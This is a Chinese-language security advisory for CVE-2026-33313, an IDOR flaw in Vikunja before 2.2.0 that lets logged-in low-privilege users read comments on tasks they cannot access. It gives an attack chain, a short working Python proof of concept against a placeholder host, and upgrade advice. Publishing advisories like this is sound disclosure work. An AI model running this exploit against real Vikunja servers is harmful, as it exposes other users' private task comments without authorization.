IPBUF安全漏洞报告
English
CVE-2026-33313 CVSS 4.3 中危

CVE-2026-33313 Vikunja越权读取任务评论漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33313
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

IDOR越权漏洞信息泄露Vikunja权限绕过

漏洞概述

Vikunja是一款开源自托管任务管理平台。在2.2.0版本之前,系统存在越权读取漏洞。由于缺乏严格的权限校验机制,已登录的低权限用户可以通过构造特定的API请求,将URL中的任务ID替换为无权访问的任务ID,从而非法读取任意任务的评论详情。该漏洞可能导致敏感数据泄露,存在中等安全风险。

技术细节

该漏洞的核心在于Vikunja后端API在处理评论获取请求时,存在不安全的直接对象引用(IDOR)缺陷。系统仅校验了请求路径中Task ID的访问权限,而忽略了Comment ID与Task ID之间的从属关系校验。攻击者在已登录状态下,首先找到自己有权限访问的任务ID(记为ID_A),然后通过枚举或其他方式获取目标评论ID(记为ID_B)。通过发送请求至 /api/v1/tasks/ID_A/comments/ID_B,服务器错误地认为用户是在查询ID_A下的评论,从而绕过了对ID_B所属任务的真实权限检查,直接返回ID_B的内容。这直接导致了跨任务的敏感信息泄露。

攻击链分析

STEP 1
步骤1:获取凭证
攻击者在Vikunja平台注册或登录,获取有效的会话Token。
STEP 2
步骤2:识别可控ID
攻击者确定自己拥有访问权限的任务ID(Task ID)。
STEP 3
步骤3:确定目标ID
攻击者通过推测或枚举,想要读取的目标评论ID(Comment ID)。
STEP 4
步骤4:构造恶意请求
攻击者构造API请求,将URL中的Task ID替换为可控ID,但Comment ID保持为目标ID。
STEP 5
步骤5:读取敏感数据
服务器因校验逻辑缺陷,返回目标评论的详细内容,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "https://example.com" # Attacker's accessible task ID ATTACKER_TASK_ID = "100" # Target comment ID to steal TARGET_COMMENT_ID = "999" # User's authentication token AUTH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." def exploit_idor(): """ Exploit CVE-2026-33313 by swapping the Task ID in the API endpoint. The server validates access to ATTACKER_TASK_ID but returns TARGET_COMMENT_ID. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Malicious endpoint construction # Original logic might check if user can read task 100, then return comment 999 from it. # Vulnerability: It returns comment 999 regardless of which task it belongs to. url = f"{TARGET_URL}/api/v1/tasks/{ATTACKER_TASK_ID}/comments/{TARGET_COMMENT_ID}" print(f"[+] Sending request to: {url}") response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Leaked comment data:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") if __name__ == "__main__": exploit_idor()

影响范围

Vikunja < 2.2.0

防御指南

临时缓解措施
建议用户立即升级到Vikunja 2.2.0版本。如无法立即升级,应限制API接口的访问频率,并监控是否存在异常的评论读取请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表